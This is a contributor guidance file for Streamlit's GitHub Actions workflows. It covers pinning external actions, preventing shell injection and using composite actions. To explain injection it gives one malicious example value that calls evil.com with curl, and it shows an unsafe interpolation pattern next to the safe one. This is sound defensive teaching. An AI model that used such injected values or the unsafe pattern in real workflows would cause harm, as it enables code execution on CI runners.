workflows

Imported from modem-dev/ossrules (public/files/streamlit/.github/workflows/AGENTS.md). Install upstream with npx skills add modem-dev/ossrules --skill workflows. Copyright stays with the author.

GitHub Actions Workflows

This folder contains all GitHub Actions workflows for the Streamlit repository. Workflows automate CI/CD, testing, releases, and maintenance tasks.

Maintenance Note: Keep this documentation up to date. When adding, removing, or modifying workflows or composite actions, update the relevant sections in this file.

Workflow Guidelines

External Actions Policy

Prefer built-in solutions over external actions. When adding new automation:

1. Use existing approved actions: actions/*, github/*, pypa/*, astral-sh/setup-uv, snowflakedb/reusable-workflows
2. Use actions/github-script for GitHub API interactions instead of third-party actions
3. Use bash/shell scripts for general automation tasks
4. Pin every external action and reusable workflow to a full-length commit SHA, followed by a version comment (e.g., actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7.0.0)

Avoid adding new external actions unless absolutely necessary. This reduces supply chain risk and makes workflows easier to audit.

Shell Injection Prevention

Never interpolate ${{ }} expressions directly in run: blocks when the value could originate from user input. This includes inputs.*, steps.*.outputs.*, github.head_ref, github.event.*.body, github.event.*.title, and any value derived from PR/issue content, branch names, or commit messages.

Instead, pass dynamic values through step-level env: variables:

# UNSAFE — value is injected directly into the shell command:
run: |
  git push origin "${{ steps.create-branch.outputs.branch_name }}"

# SAFE — value is passed as an environment variable:
env:
  BRANCH_NAME: ${{ steps.create-branch.outputs.branch_name }}
run: |
  git push origin "$BRANCH_NAME"

Why: GitHub Actions template expressions (${{ }}) are substituted before the shell runs, so a malicious value like "; curl evil.com; echo " executes as shell commands. Environment variables are not shell-interpreted during substitution, so they are safe.

Safe contexts that don't need env: indirection: ${{ }} in with: parameters (parsed by YAML, not shell), if: conditions, and env: value positions are not vulnerable. GitHub-controlled constants like github.repository, github.run_id, and github.sha are also safe in run: blocks since their format is constrained.

Best Practices

• Use workflow_call to create reusable workflows
• Set appropriate permissions (principle of least privilege)
• Use concurrency to prevent duplicate runs
• Handle fork PRs carefully (limited GITHUB_TOKEN permissions)
• Use composite actions in .github/actions/ for shared setup steps

Shared Composite Actions

Reusable composite actions in .github/actions/ encapsulate common setup steps. Use these instead of duplicating logic.

Typical Usage Pattern

steps:
  - uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7.0.0
  - uses: ./.github/actions/build_info        # Get Python versions
  - uses: ./.github/actions/make_init         # Setup dev environment
    with:
      python_version: ${{ env.PYTHON_MAX_VERSION }}
  - uses: ./.github/actions/playwright_install  # Only for E2E tests

For jobs that only run Python utility scripts, use setup_automation instead of make_init, then invoke scripts with uv run --no-sync python. The action exact-syncs the small, locked automation dependency group, and --no-sync prevents later branch or tag checkouts from changing that environment. Do not install these dependencies into the runner's system Python.

Workflow Reference

CI & Testing

Code Quality & Validation

Security & Analysis

Release & Publishing

PR Automation & Previews

AI-Assisted Workflows

Maintenance & Updates

Infrastructure